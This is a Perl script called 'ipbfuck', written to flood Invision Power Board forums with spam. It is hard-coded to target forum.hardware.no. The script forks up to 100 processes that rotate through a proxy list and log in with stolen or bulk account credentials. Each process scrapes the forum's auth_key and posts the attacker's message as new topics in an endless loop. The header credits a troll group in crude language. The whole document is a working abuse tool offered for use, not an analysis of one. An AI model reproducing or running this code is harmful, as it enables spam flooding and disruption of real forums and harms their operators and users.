| 1 | #!/usr/bin/perl |
|---|
| 2 | # ipbfuck alpha 1 (custom version for hardware.no) |
|---|
| 3 | # by Popeye | popeye@gnaa.us | are you down with the GNAA killaz? if so see #gnaa @ irc.gnaa.us |
|---|
| 4 | # use this program to flood the shit out of ipb forums |
|---|
| 5 | # usage - ipbfuck <message> <accountlist> <proxylist> |
|---|
| 6 | # <message> is a file with the subject on the first line and the message on the following line(s) |
|---|
| 7 | # <accountlist> are accounts in the format user password (separated by a space) on each line |
|---|
| 8 | # <proxyfile> is a list of proxies in the format xxx.xxx.xxx.xxx:xx (address and port separated by a colon, |
|---|
| 9 | # one per line. |
|---|
| 10 | |
|---|
| 11 | use strict; |
|---|
| 12 | |
|---|
| 13 | use Socket; |
|---|
| 14 | use IO::Handle; |
|---|
| 15 | use LWP::UserAgent; |
|---|
| 16 | use HTTP::Request::Common; |
|---|
| 17 | use HTTP::Cookies; |
|---|
| 18 | |
|---|
| 19 | $SIG{CHLD} = 'IGNORE'; |
|---|
| 20 | |
|---|
| 21 | if($#ARGV < 2) |
|---|
| 22 | { |
|---|
| 23 | print STDERR "!! missing file argument\n"; |
|---|
| 24 | exit 0; |
|---|
| 25 | } |
|---|
| 26 | |
|---|
| 27 | my $url = "http://forum.hardware.no"; |
|---|
| 28 | my %accounts = (); |
|---|
| 29 | my %proxies = (); |
|---|
| 30 | my $subject; |
|---|
| 31 | my $message; |
|---|
| 32 | my $i; |
|---|
| 33 | |
|---|
| 34 | my $MAXFORK = 100; |
|---|
| 35 | my $MAXFAIL = 1; |
|---|
| 36 | |
|---|
| 37 | open MYFILE, shift @ARGV or die "$!"; |
|---|
| 38 | $subject = <MYFILE>; chomp $subject; |
|---|
| 39 | while (<MYFILE>) |
|---|
| 40 | { |
|---|
| 41 | $message .= $_; |
|---|
| 42 | } |
|---|
| 43 | close MYFILE; |
|---|
| 44 | |
|---|
| 45 | if (my $ACCOUNTFILE = shift @ARGV) |
|---|
| 46 | { |
|---|
| 47 | print STDERR "> Populating list of accounts from '$ACCOUNTFILE'"; |
|---|
| 48 | open ACCOUNTFILE, $ACCOUNTFILE or die "$!"; |
|---|
| 49 | $i=0; |
|---|
| 50 | while (<ACCOUNTFILE>) |
|---|
| 51 | { |
|---|
| 52 | $i++; |
|---|
| 53 | chomp; |
|---|
| 54 | /^(.+) (.+)$/; |
|---|
| 55 | $accounts{$1} = $2; |
|---|
| 56 | } |
|---|
| 57 | close ACCOUNTFILE; |
|---|
| 58 | print STDERR "\n> Got $i accounts.\n"; |
|---|
| 59 | } |
|---|
| 60 | |
|---|
| 61 | my $PROXYFILE = shift @ARGV if @ARGV; |
|---|
| 62 | |
|---|
| 63 | socketpair (CHENEY, BUSH, AF_UNIX, SOCK_STREAM, PF_UNSPEC) or die "socketpair: $!"; |
|---|
| 64 | |
|---|
| 65 | CHENEY->autoflush(1); |
|---|
| 66 | BUSH->autoflush(1); |
|---|
| 67 | |
|---|
| 68 | if (my $jpid = fork) |
|---|
| 69 | { |
|---|
| 70 | close BUSH; |
|---|
| 71 | } |
|---|
| 72 | else |
|---|
| 73 | { |
|---|
| 74 | die "$!" unless defined $jpid; |
|---|
| 75 | close CHENEY; |
|---|
| 76 | |
|---|
| 77 | $SIG{INT} = \&exit_nicely; |
|---|
| 78 | |
|---|
| 79 | if (defined $PROXYFILE) { |
|---|
| 80 | print STDERR "> Populating list of proxies from '$PROXYFILE'"; |
|---|
| 81 | open PROXYFILE, $PROXYFILE or die "$!"; |
|---|
| 82 | $i=0; |
|---|
| 83 | while (<PROXYFILE>) { |
|---|
| 84 | $i++; |
|---|
| 85 | chomp; |
|---|
| 86 | $proxies{$_} = $MAXFAIL; |
|---|
| 87 | } |
|---|
| 88 | close PROXYFILE; |
|---|
| 89 | print STDERR "\n> Got $i proxies.\n"; |
|---|
| 90 | } |
|---|
| 91 | |
|---|
| 92 | my $command; |
|---|
| 93 | while (1) { |
|---|
| 94 | chomp ($command = <BUSH>); |
|---|
| 95 | |
|---|
| 96 | if ($command =~ /getproxy/) { |
|---|
| 97 | if (keys %proxies > 0) { |
|---|
| 98 | print BUSH (keys %proxies)[int rand keys %proxies] ."\n"; |
|---|
| 99 | } else { |
|---|
| 100 | print BUSH 'none\n'; |
|---|
| 101 | } |
|---|
| 102 | } elsif ($command =~ /fail (\S+)/) { |
|---|
| 103 | if ( --$proxies{$1} le 0 ) { |
|---|
| 104 | print STDERR "killing $1\n"; |
|---|
| 105 | delete $proxies{$1}; |
|---|
| 106 | } |
|---|
| 107 | } else { |
|---|
| 108 | die "Bad command: $command\n"; |
|---|
| 109 | } |
|---|
| 110 | } |
|---|
| 111 | } |
|---|
| 112 | |
|---|
| 113 | |
|---|
| 114 | for ($i=0; $i<$MAXFORK; $i++) { |
|---|
| 115 | FORK: |
|---|
| 116 | { |
|---|
| 117 | if (my $pid = fork) |
|---|
| 118 | { |
|---|
| 119 | } |
|---|
| 120 | elsif (defined $pid) |
|---|
| 121 | { |
|---|
| 122 | while (1) |
|---|
| 123 | { |
|---|
| 124 | my ($username, $password) = get_account (); |
|---|
| 125 | |
|---|
| 126 | print CHENEY "getproxy\n"; |
|---|
| 127 | chomp (my $proxy = <CHENEY>); |
|---|
| 128 | |
|---|
| 129 | print STDERR "> child $i posting with proxy $proxy and user $username\n"; |
|---|
| 130 | |
|---|
| 131 | if (psot ($proxy, $username, $password)) |
|---|
| 132 | { |
|---|
| 133 | print STDERR "> child $i posted with success.\n"; |
|---|
| 134 | } |
|---|
| 135 | else |
|---|
| 136 | { |
|---|
| 137 | print STDERR "> child $i failed to post with $proxy\n"; |
|---|
| 138 | print CHENEY "fail $proxy\n"; |
|---|
| 139 | } |
|---|
| 140 | } |
|---|
| 141 | |
|---|
| 142 | } |
|---|
| 143 | elsif ($! =~ /No more process/) |
|---|
| 144 | { |
|---|
| 145 | redo FORK; |
|---|
| 146 | } else |
|---|
| 147 | { |
|---|
| 148 | print STDERR "hit process limit\n"; |
|---|
| 149 | goto ENDFORK; |
|---|
| 150 | } |
|---|
| 151 | } |
|---|
| 152 | } |
|---|
| 153 | |
|---|
| 154 | while (1) { sleep 1; } |
|---|
| 155 | |
|---|
| 156 | psot(); |
|---|
| 157 | |
|---|
| 158 | sub psot |
|---|
| 159 | { |
|---|
| 160 | my $proxy = shift; |
|---|
| 161 | my $username = shift; |
|---|
| 162 | my $password = shift; |
|---|
| 163 | |
|---|
| 164 | my $ua = LWP::UserAgent->new; |
|---|
| 165 | $ua->agent('Mozilla/5.0'); |
|---|
| 166 | $ua->cookie_jar(HTTP::Cookies->new); |
|---|
| 167 | if (! ($proxy =~ /none/) ) { $ua->proxy('http', "http://$proxy"); } |
|---|
| 168 | push @{$ua->requests_redirectable}, 'POST'; |
|---|
| 169 | |
|---|
| 170 | my $sid; |
|---|
| 171 | |
|---|
| 172 | my @topics; |
|---|
| 173 | |
|---|
| 174 | my $posturl = "$url\/index.php?act=Login&CODE=01"; |
|---|
| 175 | |
|---|
| 176 | my $req = POST $posturl, [ UserName=> $username, |
|---|
| 177 | PassWord => $password, |
|---|
| 178 | CookieDate => 0, |
|---|
| 179 | referrer => '', |
|---|
| 180 | submit=> 'Logg meg inn', |
|---|
| 181 | ]; |
|---|
| 182 | |
|---|
| 183 | $req->referer("$url\/index.php?act=Login&CODE=00"); |
|---|
| 184 | my $response = $ua->request($req); |
|---|
| 185 | |
|---|
| 186 | foreach my $x (split /\n/, $response->content) |
|---|
| 187 | { |
|---|
| 188 | if ($x=~ /(a href=.+?.index.php\?showforum=(.+?)\")/) |
|---|
| 189 | { |
|---|
| 190 | push(@topics, $2); |
|---|
| 191 | } |
|---|
| 192 | } |
|---|
| 193 | |
|---|
| 194 | my $choice = int(rand($#topics)); |
|---|
| 195 | |
|---|
| 196 | $response = $ua->request(GET "$url\/index.php?act=Post&CODE=00&f=$topics[$choice]"); |
|---|
| 197 | |
|---|
| 198 | foreach my $x (split /\n/, $response->content) |
|---|
| 199 | { |
|---|
| 200 | if ($x=~ /(name='auth_key' value='(.{32}))/i) |
|---|
| 201 | { |
|---|
| 202 | $sid = $2; |
|---|
| 203 | } |
|---|
| 204 | } |
|---|
| 205 | |
|---|
| 206 | if($sid eq "") |
|---|
| 207 | {print STDERR "!! failed to get a session ID, aborting\n"; return 0;} |
|---|
| 208 | else |
|---|
| 209 | {print STDERR "> Got session ID $sid for user $username\n";} |
|---|
| 210 | $posturl = "$url\/index.php?"; |
|---|
| 211 | |
|---|
| 212 | $req = POST $posturl, [ TopicTitle => $subject, |
|---|
| 213 | Post => $message, |
|---|
| 214 | auth_key => $sid, |
|---|
| 215 | f => $topics[$choice], |
|---|
| 216 | act => 'Post', |
|---|
| 217 | s => '', |
|---|
| 218 | CODE => '01', |
|---|
| 219 | submit => 'Lag nytt emne', |
|---|
| 220 | |
|---|
| 221 | ]; |
|---|
| 222 | |
|---|
| 223 | $response = $ua->request($req); |
|---|
| 224 | |
|---|
| 225 | print $response->content; |
|---|
| 226 | |
|---|
| 227 | if ($response->content !~/$username/i) |
|---|
| 228 | { |
|---|
| 229 | return 0; |
|---|
| 230 | } |
|---|
| 231 | |
|---|
| 232 | return 1; |
|---|
| 233 | |
|---|
| 234 | } |
|---|
| 235 | |
|---|
| 236 | sub get_account |
|---|
| 237 | { |
|---|
| 238 | if (keys %accounts > 0) { |
|---|
| 239 | my $nick = (keys %accounts)[int rand keys %accounts]; |
|---|
| 240 | return ( $nick, $accounts{$nick} ); |
|---|
| 241 | } else { |
|---|
| 242 | return ( '', '' ); |
|---|
| 243 | } |
|---|
| 244 | } |
|---|
| 245 | |
|---|
| 246 | sub exit_nicely |
|---|
| 247 | { |
|---|
| 248 | die "quitting ipbfuck.\n"; |
|---|
| 249 | } |
|---|